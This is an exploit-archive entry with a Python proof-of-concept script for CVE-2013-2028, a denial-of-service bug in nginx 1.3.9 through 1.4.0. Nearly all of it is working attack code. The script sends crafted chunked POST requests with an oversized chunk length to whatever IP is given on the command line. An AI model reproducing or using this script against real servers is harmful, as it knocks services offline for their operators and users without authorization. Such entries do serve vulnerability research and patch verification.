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Nginx 1.3.9 / 1.4.0 Denial Of Service

Nginx 1.3.9 / 1.4.0 Denial Of Service
Posted May 17, 2013
Authored by Mert SARICA | Site mertsarica.com

Nginx versions 1.3.9 through 1.4.0 suffer from a denial of service vulnerability.

tags | exploit, denial of service, python
advisories | CVE-2013-2028
MD5 | 7168924e671fc0ce746eb328b332a580

Nginx 1.3.9 / 1.4.0 Denial Of Service

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# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & Windows XP (nginx v1.4.0)
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
chunked = ""
chunked += "%s\r\n" % (chunk_size)
chunked += "%s\r\n" % (data)
chunked += "0\r\n\r\n"
return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
os.system("clear")
elif sys.platform == 'win32':
os.system("cls")
else:
os.system("cls")

print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
print "Usage: python nginx_dos.py [target ip]\n"
print "Example: python nginx_dos.py 127.0.0.1\n"
sys.exit(1)
else:
host = sys.argv[1].lower()

while packet <= 5:

body = "Mert SARICA"
chunk_size = hex(dos_packet + 1)[3:]
chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

if debug:
print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

try:
con = httplib.HTTPConnection(host)
url = "/mertsarica.php"
con.putrequest('POST', url)
con.putheader('User-Agent', "curl/7.30.0")
con.putheader('Accept', "*/*")
con.putheader('Transfer-Encoding', 'chunked')
con.putheader('Content-Type', "application/x-www-form-urlencoded")
con.endheaders()
con.send(chunk(body, chunk_size[:len(chunk_size)]))
except:
print "Connection error!"
sys.exit(1)

try:
resp = con.getresponse()
print(resp.status, resp.reason)
except:
print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"

packet = packet + 1

con.close()

print "[+] Done!"

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